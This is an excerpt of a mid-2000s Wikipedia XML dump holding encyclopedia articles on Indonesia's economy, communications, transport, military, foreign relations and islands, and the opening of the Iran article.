High levels of economic growth from 1987&amp;ndash;1997 masked a number of structural weaknesses in Indonesia's economy. The legal system was very weak, and there was and is no effective way to enforce contracts, collect debts, or sue for [[bankruptcy]]. Banking practices were very unsophisticated, with collateral-based lending the norm and widespread violation of prudential regulations, including limits on connected lending. Non-tariff barriers, rent-seeking by state-owned enterprises, domestic subsidies, barriers to domestic trade, and [[export restriction]]s all created economic distortions.

The regional financial problems that swept into Indonesia in late [[1997]] quickly became an economic and political crisis. Indonesia's initial response was to float the rupiah, raise key domestic interest rates, and tighten fiscal policy. In October 1997, Indonesia and the [[International Monetary Fund]] (IMF) reached agreement on an economic reform program aimed at macroeconomic stabilization and elimination of some of the country's most damaging economic policies, such as the National Car Program and the [[clove]] monopoly, both involving family members of President Suharto. The rupiah failed to stabilize for any significant period of time, however, and President Suharto was forced to resign in May 1998. In August 1998, Indonesia and the IMF agreed on an Extended Fund Facility (EFF) under President [[Habiebie|B.J Habibie]] that included significant structural reform targets. President [[Abdurrahman Wahid]] took office in October [[1999]], and Indonesia and the IMF signed another EFF in January [[2000]]. The new program also has a range of economic, structural reform, and governance targets.

The effects of the financial and economic crisis were severe. In 1998, real GDP contracted by an estimated 13.7%. The economy bottomed out in mid-1999, and real GDP growth for the year was an anemic 0.3%. Inflation reached 77%in 1998 but slowed to 2% in 1999. The rupiah, which had been in the Rp 2,400/USD1 range in 1997 reached Rp 17,000/USD1 at the height of the 1998 violence, returned to the Rp 6,500&amp;ndash;8,000/USD1 range in late 1998. It has traded in the Rp 6,500&amp;ndash;9,000/USD1 range since, with significant volatility. Although a severe drought in 1997&amp;ndash;1998 forced Indonesia to import record amounts of rice, overall imports dropped precipitously in the early stage of the crisis in response to the unfavorable exchange rate, reduced domestic demand, and absence of new investment. Although reliable unemployment data are not available, formal sector employment contracted significantly.

In late 2005 Indonesia faced a 'mini-crisis' due to rising oil prices and imports. The currency reached Rp 12,000/USD1 before stabilizing. The government was forced to cut its massive fuel subsidies, which were to cost $14 billion for 2005, in October. This led to a more than doubling in the price of consumer fuels, resulting in double-digit inflation. The situation has stabilized, but the economy continues to struggle with inflation at 17% in [[January]] 2006.

As of early [[2006]], Indonesia's economic outlook is more positive. Economic growth accelerated to 5.1% in [[2004]] and reached 5.6% in 2005. Real per capita income has reached pre-crisis levels. Growth is driven primarily by domestic consumption, which accounts for roughly three-fourths of Indonesia's gross domestic product. The [[Jakarta Stock Exchange]] was the best performing market in Asia in 2004, up some 42%. Problems that continue to put a drag on growth include low foreign investment levels, bureaucratic red tape, and widespread corruption. However, there is very strong optimism with the conclusion of peaceful elections during the year 2004 and the election of the reformist president [[Susilo Bambang Yudhoyono]].

==Oil and minerals sector==
Indonesia is the only Asian member of the [[Organization of Petroleum Exporting Countries]] (OPEC) outside of the [[Middle East]], and is the only OPEC member that is a net oil importer. In early [[As of 2005|2005]], Indonesian crude oil and condensate output was 1.07 million [[barrel (unit)|barrel]]s per day.  This is a substantial decline from the 1990s, due primarily to aging oil fields and a lack of investment in oil production equipment. In 1999, Crude and condensate output averaged 1.5 million [[barrel (unit)|barrel]]s (240,000 m&amp;sup3;) per day, and in the 1998 calendar year the oil and gas sector, including refining, contributed approximately 9% to GDP. This decline in production since the 1990s has been accompanied by a substantial increase in domestic consumption, about 5.4% per year, leading to an expected [[US dollar|US$]]1.2 billion cost for importing oil in 2005.

The state owns all [[petroleum]] and [[mineral]] rights. Foreign firms participate through production-sharing and work contracts. Oil and gas contractors are required to finance all exploration, production, and development costs in their contract areas; they are entitled to recover operating, exploration, and development costs out of the oil and gas produced. According to President [[Susilo Bambang Yudhoyono]], the nation is expected to deplete its crude oil reserves in about 2020.

Although minerals production traditionally centered on [[bauxite]], [[silver]], and [[tin]] production, Indonesia is expanding its [[copper]], [[nickel]], [[gold]], and [[coal]] output for export markets. In mid-1993, the Department of Mines and Energy reopened the coal sector to foreign investment, with the result that the leading Indonesian coal producer now is a joint venture between U.K. firms [[BP]] and [[Rio Tinto (company)|Rio Tinto]]. Total coal production reached 74 million metric tons in 1999, including exports of 55 million tons. The Indonesian Government hopes to surpass 100 million metric tons of coal production in 2002. Two US firms operate three copper/gold mines in Indonesia, with a [[Canada|Canadian]] and [[Britain|UK]] firm holding significant other investments in nickel and gold, respectively. In 1998, the value of Indonesian gold production was $1 billion and copper, $843 million. Receipts from gold, copper, and coal comprised 84% of the $3 billion earned in 1998 by the mineral mining sector.

Indonesia's fuel production has declined significantly over the years, owing to aging oil fields and lack of investment in new equipment.  As a result, despite being an exporter of crude oil, Indonesia is now a net importer of oil and had previously subsidized fuel prices to keep prices low, costing US$ 7 billion in 2004 [http://www.atimes.com/atimes/Southeast_Asia/GC10Ae04.html].  The current president has mandated a significant reduction of government subsidy of fuel prices in several stages [http://news.bbc.co.uk/2/hi/business/4200100.stm].  In order to alleviate economic hardships, the government has offered one-time subsidies to qualified citizens.  The economy is now undergoing a process of rebuilding after the tsunami that struck in December of 2004.  The government has stated the cuts in subsidies are aimed at reducing the budget deficit to 1% of gross domestic product (GDP) this year, down from around 1.6% last year.

{{OPEC}}

==Investment==
Since the late 1980s, Indonesia has made significant changes to its regulatory framework to encourage economic growth. This growth was financed largely from private investment, both foreign and domestic. U.S. investors dominated the oil and gas sector and undertook some of Indonesia's largest [[mining]] projects. In addition, the presence of US banks, manufacturers, and service providers expanded, especially after the industrial and financial sector reforms of the 1980s. Other major foreign investors included Japan, the United Kingdom, [[Singapore]], the [[Netherlands]], [[Hong Kong]], [[Taiwan]], and [[South Korea]].

The economic crisis made continued private financing imperative but problematic. New foreign investment approvals fell by almost two-thirds between 1997 and 1999. The crisis further highlighted areas where additional reform was needed. Frequently cited areas for improving the investment climate were establishment of a well- functioning legal and judicial system, adherence to competitive processes, and adoption of internationally acceptable accounting and disclosure standards. Despite improvements in the laws in recent years, Indonesia's intellectual property rights regime remains weak; lack of effective enforcement is a major concern. Under Suharto, Indonesia had moved toward private provision of public infrastructure, including electric power, tollroads, and telecommunications. The financial crisis brought to light serious weaknesses in the process of dispute resolution, however, particularly in the area of private infrastructure projects. Although Indonesia continued to have the advantages of a large labor force, abundant natural resources and modern infrastructure, private investment in new projects largely ceased during the crisis.

In May [[2004]], an Indonesian court may have compounded the country's troubles attracting foreign investment when it ruled in favor of a petition by Indonesian chemical company, [[Tri Polyta]], that a bond issue be declared illegal and nullified, freeing that company of its obligation to repay its debts. 

==Economic relations with the United States==
U.S. exports to Indonesia in 1999 totaled $2.0 billion, down significantly from $4.5 billion in 1997. The main exports were [[construction]] equipment, machinery, [[aviation]] parts, chemicals, and agricultural products. U.S. imports from Indonesia in 1999 totaled $9.5 billion and consisted primarily of clothing, machinery and transportation equipment, petroleum, natural rubber, and footwear. Economic assistance to Indonesia is coordinated through the [[Consultative Group on Indonesia]] (CGI), formed in 1989. It includes 19 donor countries and 13 international organizations that meet annually to coordinate donor assistance. The 2000 CGI meeting is to be held [[17 October]]-18 in [[Tokyo]].

The [[U.S. Agency for International Development]] (USAID) has provided development assistance to Indonesia since 1950. Initial assistance focused on the most urgent needs of the new republic, including food aid, infrastructure rehabilitation, health care, and training. Through the 1970s, a time of great economic growth in Indonesia, USAID played a major role in helping the country achieve self-sufficiency in rice production and in reducing the birth rate.

USAID's current program aims to support Indonesia as it recovers from the financial crisis by providing food aid, employment generating activities, and maintaining critical public health services. USAID is also providing technical advisers to help the Indonesian Government implement economic reforms and fiscal decentralization and is supporting democratization and civil society development activities through non-governmental organizations.

==See also==
* [[Indonesia]]
* [[Economy of Asia]]
* [[Taxation in Indonesia]]

{{APEC}}
{{WTO}}

[[Category:Organization of the Petroleum Exporting Countries|Indonesia]]
[[Category:Economy of Indonesia| ]]
[[Category:Economies by country|Indonesia]]
[[Category:WTO members|Indonesia]]

[[es:Economía de Indonesia]]
[[fr:Économie de l'Indonésie]]
[[id:Ekonomi Indonesia]]
[[lt:Indonezijos ekonomika]]
[[ms:Ekonomi Indonesia]]
[[ru:Экономика Индонезии]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Indonesia</title>
    <id>14648</id>
    <revision>
      <id>26355341</id>
      <timestamp>2005-10-24T13:28:05Z</timestamp>
      <contributor>
        <username>*drew</username>
        <id>91902</id>
      </contributor>
      <minor />
      <comment>{{cleanup}} -&gt; {{cleanup-date|October 2005}}</comment>
      <text xml:space="preserve">{{cleanup-date|October 2005}}
'''[[Telephone]]s - main lines in use:'''
3.291 million (1995)

'''Telephones - mobile cellular:'''
25.0 million (2004)

'''Telephone system:'''
domestic service fair, international service good
&lt;br&gt;''domestic:''
interisland [[microwave]] system and HF radio police net; domestic satellite communications system
&lt;br&gt;''international:''
satellite earth stations - 2 [[Intelsat]] (1 [[Indian Ocean]] and 1 [[Pacific Ocean]])

'''[[Radio]] broadcast stations:'''
AM 678, FM 43, shortwave 82 (1998)

'''Radios:'''
31.5 million (1997)

'''[[Television]] broadcast stations:'''
&lt;br/&gt;From AC Nielsen Report (1st Semester 2005): 11 national TV, 60 local TV

'''Televisions:'''
13.75 million (1997)

'''[[Internet Service Provider]]s (ISPs):'''
24 (1999)

'''[[Country codes|Country code]] (Top-level domain):''' ID

==See also== 
*[[Indonesia]]
*[[List of Indonesian language television channels]]
*[[List of radio stations in Jakarta, Indonesia|List of radio stations in Jakarta]]

[[Category:Communications by country|Indonesia]]
[[Category:Communications in Indonesia| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Indonesia</title>
    <id>14649</id>
    <revision>
      <id>33870982</id>
      <timestamp>2006-01-04T18:44:01Z</timestamp>
      <contributor>
        <username>Alberto Nogales</username>
        <id>753293</id>
      </contributor>
      <text xml:space="preserve">Indonesia's transport system has been shaped over time by the economic resource base of an archipielago with thousands of islands, and the distribution of its more than 220 milion people highly concentrated on a single island.

All transport modes play a role in the country’s transport system and are generally complementary rather than competitive.
Road transport is the predominant mode with a total length of 370,500 km in 2003.
The railway system has four unconnected networks in Java and Sumatra primarily dedicated to transport bulk commodities and long-distance passenger traffic.
Sea transport is extremely important for economic integration and for domestic and foreign trade; and well developed, with each of the major islands having at least one significant port city.
The role of inland waterways is relatively minor and is limited to certain areas of Eastern Sumatra and Kalimantan.
The function of air transport is significant, particularly where land or water transport is deficient or non-existent; and already established, based on an extensive domestic airline network where all major cities can be reached by passenger plane.

Common modes of '''transportation in Indonesia''' include many [[ferry|ferries]] and other [[ship]]s, a wide variety of [[road]] vehicles, limited [[railroad]] service, and extensive commercial [[aviation]].

==Marine transportation==

Because [[Indonesia]] encompasses a sprawling [[archipelago]], [[ship transport|maritime shipping]] provides essential links between different parts of the country.  Boats in common use include large container ships, a variety of ferries, passenger ships, sailing ships, and smaller motorized vessels.

Frequent ferry services cross the straits between nearby islands, especially in the chain of islands stretching from [[Sumatra]] through [[Java (island)|Java]] to the [[Lesser Sunda Islands]]. On the busy crossings between Sumatra, Java, and [[Bali]], multiple car ferries run frequently twenty-four hours per day. There are also international ferry services between across the [[Straits of Malacca]] between Sumatra and [[Malaysia]], and between [[Singapore]] and nearby Indonesian islands, such as [[Batam]].

A network of passenger ships makes longer connections to more remote islands, especially in the eastern part of the archipelago. The national shipping line, [[Pelni]], provides passenger service to [[port]]s throughout the country on a two to four week schedule.  These ships generally provide the least expensive way to cover long distances between islands.  Still smaller privately-run boats provide service between islands.  

On some islands, major rivers provide a key transportation link in the absence of good roads. On [[Kalimantan]], [[longboat]]s running on the rivers are the only way to reach many inland areas. Indonesia has  21,579 km of navigable waterways ([[As of 2004|2004]]), of which about one half are on Kalimantan, and a quarter each on Sumatra and [[Papua]]. 

Major ports and harbors include [[Cilacap]], [[Cirebon]], [[Jakarta]], [[Kupang]], [[Palembang]], [[Semarang]], [[Surabaya]], and [[Makassar]]. Ports are managed by the various [[Indonesia Port Corporation|Indonesia Port Corporations]], of which there are four, numbered I through IV. Each has jurisdiction over various regions of the country, with I in the west and IV in the east.

== Roads and highways ==
[[Image:Bemo.jpg|thumb|right|Loading cargo onto a minibus]]A wide variety of vehicles are used for transportation on Indonesia's roads. 

[[Bus]] services are available in most areas connected to the road network.  Between major cities, especially on Sumatra, Java, and Bali, services are frequent and direct; many services are available with no stops until the final destination.  In more remote areas, and between smaller towns, most services are provided with [[minibus]]es or small vans.  Buses and vans are also the primary form of transportation within cities.

Many cities and towns have some form of transportation for hire available as well, such as [[Taxicab|taxi]]s and motorized [[autorickshaw]]s. [[Cycle rickshaw]]s, called ''becak'' in Indonesia, are common in many cities, and provide an inexpensive form of in-town transportation. They have been blamed for causing [[traffic congestion]] and banned from most parts of central [[Jakarta]]. [[Horse]]-drawn carts are found in some cities and towns.

Private [[automobile|car]]s are far too expensive for the majority of the population, and are uncommon except in larger cities.

Indonesia has about 158,670 km of paved highways and about 184,000 km of unpaved highways ([[As of 1999|1999]] estimate).

== Railways ==
{{main|Rail transport in Indonesia}}
Most railways in Indonesia are on Java, which has two major rail lines that run the length of the island, as well as several minor lines. Passenger and freight service runs on all of the lines. There is also [[commuter rail]] service in the Jakarta metropolitan area, and a [[monorail]] mass transit system is under construction in the city.

The only other areas in Indonesia having railroads are two separate regions of [[Sumatra]], one in the north around [[Medan, Indonesia|Medan]], and one near the southern tip.

== Pipelines ==
crude oil 2,505 km; petroleum products 456 km; natural gas 1,703 km (1989)

== Airports ==
446 (1999 est.)

=== Airports - with paved runways ===
&lt;br&gt;''total:''
127
&lt;br&gt;''over 3,047 m:''
4
&lt;br&gt;''2,438 to 3,047 m:''
12
&lt;br&gt;''1,524 to 2,437 m:''
39
&lt;br&gt;''914 to 1,523 m:''
41
&lt;br&gt;''under 914 m:''
31 (1999 est.)

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
319
&lt;br&gt;''1,524 to 2,437 m:''
5
&lt;br&gt;''914 to 1,523 m:''
33
&lt;br&gt;''under 914 m:''
281 (1999 est.)

* [[List of airports in Indonesia]]

&lt;P&gt;'''National airline:'''
*[[Garuda Indonesia]]

== See also ==

* [[Indonesia]]


[[Category:Transportation in Indonesia|*]]

[[id:Transportasi di Indonesia]]
[[lt:Indonezijos transportas]]
[[ms:Pengangkutan di Indonesia]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Indonesia</title>
    <id>14650</id>
    <revision>
      <id>41729163</id>
      <timestamp>2006-03-01T09:35:46Z</timestamp>
      <contributor>
        <username>Draconins</username>
        <id>792344</id>
      </contributor>
      <text xml:space="preserve">{| border=1 cellpadding=4 cellspacing=0 class=&quot;toccolours&quot; style=&quot;float: right; width: 300px; clear: both; margin: 0.5em 0 1em 1em; border-style: solid; border: 1px solid #7f7f7f; border-right-width: 2px; border-bottom-width: 2px; border-collapse: collapse; font-size: 95%;&quot;
|- style=&quot;border-bottom: 2px solid gray&quot;
! colspan=2 style=&quot;background: #efefef;&quot; | '''Tentara Nasional Indonesia''' 
|-
| colspan=2 align=center | '''Military manpower'''
|-
| Military age
| 18 years of age
|-
| Availability
| males age 18-49: 60,543,028 (2005 est.)
|-
| Fit for military service
| males age 18-49: 48,687,234 (2005 est.)
|-
| Reaching military age annually
| males: 2,201,047 (2005 est.)
|-
| colspan=2 align=center | '''Military expenditures''' 
|-
| Dollar figure
| $1.3 billion (2004)
|-
| Percent of GDP
| 3% (2004)
|}
[[Image:img_index3.jpg|200px|thumb|left|]][[Indonesia]]'s [[armed force]]s ([[Indonesian language|Indonesian]]: ''Tentara Nasional Indonesia'', abbreviated as TNI, formerly ''Angkatan Bersenjata Republik Indonesia'', abbreviated as ABRI) total about 250,000 members, including the [[Indonesian Army|Army]], [[Indonesian Navy|Navy]], [[Indonesian Marine Corps|marines]], and [[Indonesian Air Force|air force]]. The army is by far the largest, with about 196,000 active-duty personnel. Defence spending in the national budget is only 3% of GDP but is supplemented by revenue from many military-run businesses and foundations.

The Indonesian National Police were for many years a branch of the armed forces. The police were formally separated from the military in April [[1999]], a process which was formally completed in July [[2000]]. With 150,000 personnel, the police form a much smaller portion of the population than in most nations.  The total number of national and local police in [[2002]] was approximately 270,000.

==Political role of the military==
During the [[Suharto]] era, the military was sometimes said to have a &quot;dual function&quot; (''dwifungsi'') in Indonesia; first, it would preserve the internal and external security of the country, preserving it as a ''unified nation'', and second, it would insure that government policy followed a path that the military leadership felt was wise. 

This justified substantial military interference in politics. Long-time president Suharto was an army general, and was strongly supported by most of the military establishment. Traditionally a significant number of cabinet members had military backgrounds, while active duty and retired military personnel occupied a large number of seats in the parliament. Commanders of the various territorial commands played influential roles in the affairs of their respective regions. 

Indonesia has not had a substantial conflict with its neighbours since the 1963-1965  [[Indonesia-Malaysia confrontation|confrontation]] with [[Malaysia]], although competing [[South China Sea]] claims, where Indonesia has large natural gas reserves, concern the Indonesian government. Without a credible external threat in the region, the military's primary role in practice has been to assure internal security. Military leaders now say they wish to transform the military to a professional, external security force but acknowledge that the armed forces will continue to play an internal security role for some time.

In the post-Suharto period since 1998, civilian and military leaders have advocated removing the military from politics (for example, the military's representatives in parliament have been much reduced), but the military's political influence remains extensive.  The TNI has been notorious since the alleged massacre of pro-communist ethnic Chinese in 1965-6 and the East Timor Crisis, which in both events, the TNI allegedly neglected and killed hundreds and thousands of people.

==Military equipment==
[[Image:img_index4.jpg|200px|thumb|left|]]The Indonesian Navy purchased a number of ships of the former [[East Germany|East German]] navy in the 1990s.

In [[2005]] the Indonesian Air Force experienced a logistics crisis, especially in regard to the [[F-16 Fighting Falcon]]s and [[A-4 Skyhawk]]s that account for almost 80% of the total number of Indonesian combat aircraft. The supply of spare parts for these aircraft from the [[United States]] was stopped due to an embargo imposed on Indonesia following a number of violations against civil and human rights in [[East Timor]]. This led to the grounding of most of the Western-made fighters. 

In response to this embargo, in [[2003]] the Indonesian Air Force bought two Sukhoi Aerospace [[Sukhoi_Su-27|Su-27]] Flankers and two Sukhoi Aerospace Su-30 Flanker-Ds. Along with the fighters came the armament, the AA-10 Alamo air-to-air missile. Also, by cooperating with local military equipment manufacturers such as [[PT_Pindad|Pindad]] and [[PT_Hoverindo_Nusa_Persada|Hoverindo Nusa Persada]], the Indonesian military is now capable of manufacturing its own military equipment, ranging from sub-machine guns to armored cavalry vehicles, reconnaissance aircraft, helicopter-carrying corvettes, submarines and even hovercraft, types of which are now under research.

Following the [[2004 Indian Ocean earthquake|2004 tsunami in Aceh]] the American government suspended the spare parts embargo for non-lethal equipment and military vehicles to support the humanitarian effort in the tsunami-devastated Indonesian regions of [[Aceh]] and [[Nias]].

On [[22 November]] [[2005]], the U.S. announced that military ties with Indonesia would be restored. The decision would end the six-year U.S. ban on arms sales. [http://today.reuters.co.uk/news/newsArticleSearch.aspx?storyID=277361]

==References==
*Bresnan, John. 1993. ''Managing Indonesia: the modern political economy''. New York: Columbia University Press.
**Many topics, including the political role of the military at the height of Suharto's New Order.
*Crouch, Harold. 1988. ''The army and politics in Indonesia''. Ithaca:Cornell University Press.
**First published 1978. Now somewhat dated, but provides an influential overview of the role of the military in consolidating Suharto's power
*Kingsbury, Damien. 2003. ''Power politics and the Indonesian military''. London: RoutledgeCurzon.

==External links==
* [http://www.globalsecurity.org/military/world/indonesia/abri.htm GlobalSecurity.org : Indonesia]
* [http://www.angelfire.com/rock/hotburrito/tni/tni.html TNI - Indonesian army]&amp;mdash;Links to news articles, mostly critical of the military
* [http://www.scramble.nl/mil/6/tniau/main.htm Indonesian Air Force]
* [http://www.defence.gov.au/army/lwsc/Publications/journal/AAJ_Autumn05_henry_16.pdf Indonesian Civil-Military Relations] - Civil-Military Relations in Post-Suharto Indonesia and the Implications for Democracy Today: A Preliminary Analysis
[[Category:Military of Indonesia| ]]
[[Category:Militaries|Indonesia]]

[[id:Tentara Nasional Indonesia]]
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  <page>
    <title>Foreign relations of Indonesia</title>
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      <text xml:space="preserve">{{POV}}
{{Politics of Indonesia}}
Since independence, [[Indonesia]] has espoused a &quot;free and active&quot; foreign policy, seeking to play a role in regional affairs commensurate with its size and location but avoiding involvement in conflicts among major powers. Indonesian foreign policy under the &quot;New Order&quot; government of President [[Suharto]] moved away from the stridently anti-Western, anti-American posturing that characterized the latter part of the [[Sukarno]] era. Following Suharto's ouster in [[1998]], both Presidents [[Jusuf Habibie]] and [[Abdurrahman Wahid]] have preserved the broad outlines of Suharto's independent, moderate foreign policy. Preoccupation with domestic problems has not prevented President Wahid from frequently traveling abroad and continuing to participate vigorously, though peripatetically, in many international fora. The traumatic separation of [[East Timor]] from Indonesia after an August 1999 East Timor referendum, and subsequent events in East and West Timor, strained Indonesia's relations with the international community.

A cornerstone of Indonesia's contemporary foreign policy is its participation in the [[Association of Southeast Asian Nations]] (ASEAN), of which it was a founding member in 1967 with [[Thailand]], [[Malaysia]], [[Singapore]], and the [[Philippines]]. Since then, [[Brunei]], [[Vietnam]], [[Laos]], [[Burma]], and [[Cambodia]] also have joined ASEAN. While organized to promote common economic, social, and cultural goals, ASEAN acquired a security dimension after Vietnam's invasion of Cambodia in 1979; this aspect of ASEAN expanded with the establishment of the ASEAN Regional Forum in 1994, which comprises 22 countries, including the U.S. Indonesia's continued domestic troubles have distracted it from ASEAN matters and consequently lessened its influence within the organization.

Indonesia also was one of the founders of the [[Non-Aligned Movement]] (NAM) and has taken moderate positions in its councils. As NAM Chairman in 1992-95, it led NAM positions away from the rhetoric of North-South confrontation, advocating instead the broadening of North-South cooperation in the area of development. Indonesia continues to be a prominent, and generally helpful, leader of the Non-Aligned Movement.

Indonesia has the world's largest Muslim population, and is a member of the [[Organization of the Islamic Conference]] (OIC). It carefully considers the interests of Islamic solidarity in its foreign policy decisions but generally has been an influence for moderation in the OIC. President Wahid has pursued better relations with Israel, and in August 2000 he met with former Israeli Prime Minister Peres. However, as of January of 2006, there's no formal diplomacy link between Indonesia and Israel.

After 1966, Indonesia welcomed and maintained close relations with the donor community, particularly the [[United States]], western Europe, [[Australia]], and [[Japan]], through the Intergovernmental Group on Indonesia (IGGI) and its successor, the [[Consultative Group on Indonesia]] (CGI), which have provided substantial foreign economic assistance. Problems in Timor and Indonesia's reluctance to implement economic reform, have complicated Indonesia's relationship with donors.

Indonesia has been a strong supporter of the [[Asia-Pacific Economic Cooperation]] (APEC) forum. Largely through the efforts of President Suharto at the 1994 meeting in [[Bogor]], Indonesia, APEC members agreed to implement free trade in the region by 2010 for industrialized economies and 2020 for developing economies.

=== Disputes - international: === 
* [[Ambalat Islands]] in dispute with [[Malaysia]] (current)
* [[Sipadan]] and [[Ligitan]] Islands in dispute with [[Malaysia]] (closed, given to Malaysia)

=== Illicit drugs:=== 
illicit producer of [[cannabis]] largely for domestic use; possible growing role as transshipment point for [[Golden Triangle]] [[heroin]]

=== Foreign relations with [[Pakistan]]: ===
In the [[war of 1965]] between Pakistan and [[India]], Indonesia helped Pakistan by providing many [[fighter planes]], few [[missiles]] equipped ships and two [[submarines]].

===International organization participation:===
[[APEC]], [[AsDB]], [[ASEAN]], [[Customs Cooperation Council|CCC]], [[Colombo Plan|CP]], [[Economic and Social Commission for Asia and the Pacific|ESCAP]], [[Food and Agriculture Organization|FAO]], [[G-15]], [[G-19]], [[G-77]], [[IAEA]], [[IBRD]], [[ICAO]], [[International Chamber of Commerce|ICC]], [[ICFTU]], [[International Red Cross and Red Crescent Movement|ICRM]], [[International Development Association|IDA]], [[Islamic Development Bank|IDB]], [[IFAD]], [[IFC]], [[IFRCS]], [[IHO]], [[International Labour Organization|ILO]], [[IMF]], [[International Maritime Organization]], [[Inmarsat]], [[Intelsat]], [[Interpol]], [[IOC]], [[International Organization for Migration|IOM]] (observer), [[International Organization for Standardization|ISO]], [[International Telecommunication Union|ITU]], [[Non-Aligned Movement|NAM]], [[Organization of the Islamic Conference|OIC]], [[OPCW]], [[OPEC]], [[United Nations|UN]], [[UNCTAD]], [[UNESCO]], [[UNIDO]], [[UNIKOM]], [[UNMIBH]], [[UNMOP]], [[UNMOT]], [[UNOMIG]], [[UPU]], [[WCL]], [[WFTU]], [[World Health Organization|WHO]], [[WIPO]], [[WMO]], [[WToO]], [[WTrO]]

[[Category:Foreign relations by country|Indonesia, Foreign affairs of]]
[[Category:Government of Indonesia]]</text>
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    <title>Islands of Indonesia</title>
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      <text xml:space="preserve">'''[[Indonesia]]''' occupies most of the [[Malay archipelago]] and extends into western [[Melanesia]], as well. The country has 18,108 [[island]]s, according to [[satellite image]]s. About 6,000 of those are inhabited.
[[Image:Id-map.png|right|thumb|390px|Map of Indonesia]]
Major '''islands of Indonesia''':

* [[Greater Sunda Islands]]
** [[Borneo]] &amp;mdash; divided between Indonesian [[Kalimantan]], [[Brunei]], and [[Malaysia]]'s [[Sabah]] and [[Sarawak]].
** [[Java (island)|Java]]
** [[Sulawesi]]
** [[Sumatra]]

* [[New Guinea]] &amp;mdash; divided between Indonesian [[Papua (Indonesian province)|Papua]] (formerly Irian Jaya) and the country of [[Papua New Guinea]])

Other Indonesian islands:

* [[Bangka Island]]
* [[Belitung]]
* [[Madura]]
* [[Mentawai Islands]]
**  [[Siberut]]
**  [[Sipura]]
**  [[North Pagai]]
**  [[South Pagai]]
* [[Natuna Islands]]
* [[Nias]]
* [[Pasumpahan]]
* [[Simeulue]]
* [[Talaud Islands]]
* [[Thousand Islands (Indonesia)|Thousand Islands]] ([[Indonesian language|Indonesian]]: ''Kepulauan Seribu'')
* [[Riau Islands]]
** [[Batam]]
** [[Bintan]]
** [[Karimun]]

* [[Lesser Sunda Islands]]:
** [[Adonara]]
** [[Alor Islands]]
*** [[Alor]]
*** [[Buaya]]
*** [[Kepa]]
*** [[Pantar]]
*** [[Pura]]
*** [[Tereweng]]
** [[Bali]]
** [[Flores]]
** [[Komodo]]
** [[Lombok]]
** [[Palu'e]]
** [[Rinca]]
** [[Rote Island]]
** [[Solor]]
** [[Sumba]]
** [[Sumbawa]]
** [[Timor]]&amp;mdash;divided between Indonesian [[West Timor]] and the independent nation of [[East Timor]]

* [[Maluku Islands]] (or Moluccas)
** [[Ambon Island|Ambon]] (''Amboyna'')
** [[Aru Islands]] (''Kepulauan Aru'')
** [[Bacan]]
** [[Banda Islands]] (''Kepulauan Banda'')
** [[Barat Daya Islands]]
*** [[Damar (island)|Damar]]
*** [[Romang]]
*** [[Wetar]]
** [[Buru]]
** [[Halmahera]]
** [[Morotai]]
** [[Ternate]]
** [[Tidore]]
** [[Haruku]]
** [[Kai Islands]]
** [[Leti Islands]]
** [[Machian]]
** [[Saparua]]
** [[Seram]]
** [[Tanimbar Islands]] (''Kepulauan Tanimbar'')
*** [[Larat]]
*** [[Selaru]]
*** [[Wuliaru]]
*** [[Yamdena]]
* [[Yos Sudarso]] (''Dolak'')

{{listdev}}

==See also==
*[[Geography of Indonesia]]


[[Category:Provinces of Indonesia]]
[[Category:Islands of Indonesia| ]] [[Category:Lists of islands]]

[[fa:جزایر اندونزی]]
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  <page>
    <title>Iran</title>
    <id>14653</id>
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      <minor />
      <comment>Disambiguate [[Eden]] to [[Garden of Eden]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Infobox Country|
|native_name = جمهوری اسلامی  ايران&lt;br&gt;Jomhūrī-ye Eslāmī-ye Īrān&lt;br&gt;Islamic Republic of Iran 
|common_name = Iran 
|image_flag = Flag of Iran.svg 
|image_coat = Iran coa.png 
|image_map = LocationIran.png
|national_motto = Independence, freedom, the Islamic Republic&lt;br&gt;([[Persian language|Persian]]: Esteqlāl, āzādī, jomhūrī-ye eslāmī)
|national_anthem = [[Sorud-e Melli-e Iran|Sorūd-e Mellī-e Īrān]] 
|official_languages = [[Persian language|Persian]]
|capital = [[Tehran]] 
|latd=35|latm=40|latNS=N|longd=51|longm=25|longEW=E
|government_type = [[Islamic republic]] 
|leader_titles = [[Supreme Leader of Iran|Supreme Leader]]&lt;br&gt;[[President of Iran|President]] 
|leader_names = [[Ali Khamenei]]&lt;br&gt;[[Mahmoud Ahmadinejad]] 
|largest_city = [[Tehran]] 
|sovereignty_type = [[Iranian Revolution|Revolution]] 
|established_events = Declared 
|established_dates = Against [[Mohammad Reza Pahlavi]]&lt;br&gt;[[February 11]], [[1979]] 
|area = 1,648,195 
|area_rank = 17th 
|area_magnitude = 1 E12 
|percent_water = 0.7%
|population_estimate = 68,017,860 
|population_estimate_year = 2005 
|population_estimate_rank = 18th 
|population_census = N/A 
|population_census_year = 2000 
|population_density = 41 
|population_density_rank = 128th 
|GDP_PPP = $560,348,000,000 
|GDP_PPP_rank = 19th 
|GDP_PPP_year = 2005 
|GDP_PPP_per_capita = $8,065
|GDP_PPP_per_capita_rank = 77th
|HDI_year = 2006 
|HDI = 0.736 
|HDI_rank = 99th 
|HDI_category = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt; 
|currency = [[Iranian Rial|Rial]] (ريال)
|currency_code = IRR 
|time_zone = 
|utc_offset = +3.30 
|time_zone_DST = 
|utc_offset_DST = +4.30  
|cctld = [[.ir]]
|calling_code = 98
|footnotes =  |
}}

'''Iran''' ([[Persian language|Persian]]: ايران), also called '''Persia''', is a [[Middle East|Middle Eastern]] country located in [[Southwest Asia]]. It borders [[Armenia]], [[Azerbaijan]] (including its [[Nakhichevan exclave]]), and [[Turkmenistan]] to the north, [[Pakistan]] and [[Afghanistan]] to the east, and [[Turkey]] and [[Iraq]] to the west. In addition, it borders the [[Persian Gulf]] across which lie [[Kuwait]], [[Saudi Arabia]], [[Bahrain]], [[Qatar]], and the [[United Arab Emirates]]. The official name of the country is the '''Islamic Republic of Iran''' and [[Shi'a]] [[Islam]] is the official [[state religion]].

Throughout history Iran has been of great [[geostrategic]] importance due to its position between the [[Middle East]], [[Caucasus (geographic region)|Caucasia]], [[Central Asia]] and the [[Persian Gulf]] and its proximity to [[Eastern Europe]] and the [[South Asia|Indian subcontinent]].  

==Name==
:''Main article: [[Iran naming dispute]]''
